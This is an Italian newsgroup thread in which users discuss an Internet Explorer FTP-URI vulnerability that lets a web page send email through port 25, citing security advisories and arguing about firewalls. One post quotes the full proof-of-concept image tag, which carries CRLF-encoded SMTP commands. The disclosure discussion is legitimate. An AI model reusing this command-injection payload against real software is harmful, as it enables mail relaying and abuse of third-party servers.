Newsgroup: it.comp.os.win.xp
Titolo: GRAVISSIMA vulnerabilità in IE: IE è in grado di inviare email

http://dsbl.org/testingground/IE-FTP-SMTP-link/
Se visitate questo link con IE, si aprirà una immagine che scatenerà
l'invio via e-mail di una email!!!! Ovviamente il firewall vi
avvertirà, se lo avete...
Saluti da P4

In data odierna il Sig. P4,  abitante in località 
p4_wer...@yahoo.it
 con un azione
ardita e senza pensare a quale funesta azione potea portare il suo insano gesto scrisse:

 The image below should be broken (it may take awhile to load). However, if you're running
IE, attempting to load the image just sent me an email.
ohh io uso FF :)
Lolloso sto tag:
<img
src="
ftp://foo
%0d%0aHELO%20mail%0d%0aMAIL%20FROM%3a%3C%3E%0d%0aRCPT%20TO%3a%3Cian-example%
40penguinhosting.net
%3E%0d%0aDATA%0d%0aSubject%3a%20hacked%0d%0aTo%3a%20ian%40penguinhosti
ng.net
%
0d%0a%0d%0ahacked%0d%0a.%0d%0a:b...@mx.penguinhosting.net:25/
">
Buon annoooo
-- 
*Ma nel patto per l'itagliani c'era anche scritto: Metteremo in galera
i vostri figli?* _
http://kevinfree.supereva.it/euroindex.html_

 Saluti da P4
Per chi fosse interessato
http://www.securiteam.com/securitynews/6E00R2KC0C.html
http://www.tweakness.net/topic.php?id=523

 Saluti da P4
io ho aperto il sito con ie ma non apre l'immagine e non succede 
nulla.

 nulla.
A me invece Mcafee segnala che si sta usando un SMTP "Strano".
;-)
Non per niente Mcafee e' il miglior antivirus. 

 nulla.
neanche a me succede nulla (IE6), ma penso perchè ho Kerio Personal Firewall 
(KPF) che, mentre è attivo, inserisce in tutte le pagine web degli script 
anti-popup e anti-schifezze. 
Per esempio in quella pagina che ha indicato P4
 
http://dsbl.org/testingground/IE-FTP-SMTP-link/
vado a vedere nell'HTML e trovo
<html>
<head>
<title>IE-FTP-SMTP-link</title>
<!-- Kerio Popup Killer - script has been inserted by KPF -->
<script type="text/javascript">
<!--
seguono una quarantina di righe in Javascript inserite appositamente da 
Kerio.
Buon anno a todos.

 Kerio.
Il fatto che kerio blocchi lo script, non significa che non sei
vulnerabile per quel motivo, perchè basta un link ad una pagina, anche
cliccato da te stesso, per partire l'email. Ovviamente il tuo firewall
ti avvertirà, prima di inviare l'email. Immaginati un link che tu lo
apri per visitare una pagina, che in realtà contiene quella
vulnerabilità... 
Saluti da P4

P4 ha scritto:

Un firewall che non sia quello incorporato in Win XP2, vero ???
-- 
Re Arduino
........fosca intorno è l' ombra di Re Arduino. ( G. Carducci )

avvertirą, se lo avete...
Non mi succede: winxp pro sp2.
Firewall di winxp 

Scusate:
non vedo l'immagine ma solo quel che chiamerei l'impronta di un immagine 

 Firewall di winxp
per forza, il firewall di winxp non blocca le connessioni in uscita...
quindi la tua bella email ti passa sotto il naso senza che te ne
accorgi :-)



Guardate che SP2 non č vulnerabile....

Invece è vulnerabile:
http://secunia.com/advisories/13404/
Description:
Albert Puigsech Galicia has discovered a vulnerability in Microsoft
Internet Explorer, which can be exploited by malicious people to
conduct FTP command injection attacks.
The vulnerability is caused due to insufficient input validation of FTP
URIs. This can be exploited by e.g. a malicious website to inject
arbitrary FTP commands in a FTP session using a specially crafted
pathname or username containing "%0A" and "%0D" characters.
This can further be exploited to relay mails if the URL references port
25.
The vulnerability has been confirmed on a fully patched system with
Internet Explorer 6.0 and Microsoft Windows 2000 SP4 / XP SP2.
Saluti da P4

 
http://secunia.com/advisories/13404/
Mmm.. a me non sembra
la fonte di secunia è
http://www.7a69ezine.org/node/view/168
in cui si legge
Versioni di IE: 6.0.2800.1106 e inferiori
riportata anche dal CVE
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1166
se non sbaglio la versione di ie in sp2 è 6.0.2900.2180
o sbaglio?

> se non sbaglio la versione di ie in sp2 è 6.0.2900.2180
Infatti.. e a me non invia una benemerita cippa!
Ciao. 

 Infatti.. e a me non invia una benemerita cippa!
Idem
-- 
Z. 

Siete ciechi oltre che non protetti, visto che non vi accorgete che
tenta di connettersi con la porta 25 tramite IE, utilizzando un misto
fra FTP e SMTP:




Io non posso testare su SP2...
cmq dato che noi altri siamo ciechi invece di leggere le frasi "standard"
che secunia usa nei suoi advisories, leggiti le fonti stesse a cui
attinge...
mah...

 mah...
guarda che la falla c'è, l'ho testa personalmente su IE del SP2. E non
sono il solo ad averla testata. Si vede che tu hai dato via libera al
tuo firewall e non ti accorgi che tenta di inviare una email.
Saluti da P4

 Saluti da P4
Guarda che lo so che falla c'č l'ho postata sulle news di 
tweakness.net
 il
31 pomeriggio.
Bhč se l'hai testata personalmente... io purtroppo non ho una macchina con
sp2 a disposizione... dicevo solo che le "fonti" parlano di SP1 e
inferiori... comunque .. poco cambia...
per testare hai cambiato i dati e ti sei autoinviato una e-mail?

 accorgi :-)
E qui ti do' pienamente ragione!
NON usate quel firewall!!!

 Infatti.. e a me non invia una benemerita cippa!
A me Mcafee Virusscan avverte che succede qualcosa di strano! 


Confermo tutto. 

 per testare hai cambiato i dati e ti sei autoinviato una e-mail?
Basta avere un firewall decente qualsiasi. Vieni avvisato che IE tenta 
una connessione in uscita sulla porta SMTP 25 quindi è chiaro che se 
"accetti" la mail te la invia senza farsi problemi. Ovviamente su 
FireFox il problema non esiste (ti appare l'icona di immagine non 
disponibile)
-- 
mp3dom

In risposta a mp3dom <cryo...@NOSPAMinterfree.it>

okay.. ma se ti connetti semplicemente a
ftp://mx.penguinhosting.net:25
il firewall che dice?

 A me Mcafee Virusscan avverte che succede qualcosa di strano!
ti avverte comunque se riconosce una URl impostata sulla porta 25

 
ftp://mx.penguinhosting.net:25
Su FireFox dice "L'accesso alla porta indicata č stato disabilitato per 
motivi di sicurezza" :)
Su IE appare il messaggio del firewall di richiesta di connessione.
-- 
Guida al backup di DVD con CCE:
http://mp3dom.altervista.org
mp3dom (CryoGen Group)

 Su IE appare il messaggio del firewall di richiesta di connessione.
appunto... ;)
però per testare l'effettiva vulnerabilità a mio parere dovremmo riscrivere
l'url programmando il dialogo con un mail server... e vedere se
effettivamente il codice delle injections viene eseguito... e quindi la mail
inviata...
infin dei conti qualsiasi connessione ad una URl su porta 25 causa una
connessione in uscita sua quella porta no?

vulnerabilità confermata anche da securityfocus:
http://www.securityfocus.com/bid/11826
Mi sa che questa è una delle più grandi falle mai riscontrate, visto
la facilità con cui è possibile far inviare una email ad un utente
non protetto.
Saluti da P4

 RAf
Antivir è per di + gratuito quindi..... :D
-- 
Veni,vidi,WC... (cit)
ICQ # 347141681
MSN commodore64daniODIOLOSPAM [at] 
hotmail.com
MAIL commodore64.daniODIOLOSPAM [at] 
email.it
Togli ODIOLOSPAM per rispondermi in E-Mail e su MSN
http://www.ilcassonetto.tk/

 naturalmente).
e perchè no?
-- 
Ma ti sembra questo il caso? (cit)


 scrisse con audacia:

Puoi dirlo forte:
"Internet Explorer es una absoluta basura. La mejor solución es usar
otro navegador como Opera o Firefox." E non credo che la traduzione
sia necessaria(a parte forse per 'basura' = immondizia...)
Da: 
http://www.7a69ezine.org/node/view/168

Anche KDE di Linux è vulnerabile alla stessa vulnerabilità, quindi...
KDE Konqueror FTP URI Arbitrary FTP Server Command Execution
Vulnerability
http://www.securityfocus.com/bid/11827

 ciao da un 386-SX a 25 Mhz con 4 Mb di RAM e un HD da 320Mb
Hey e' di poco sopra i requisiti minimi dichiarati all'epoca da M$ per 
win95!!
Ciao
M.
-- 
Immagino un mondo senza guerra, un mondo senza odio
e immagino noi che lo attacchiamo
perche' non se lo aspetteranno.
http://www.metrophotogallery.it/categories.php?cat_id=39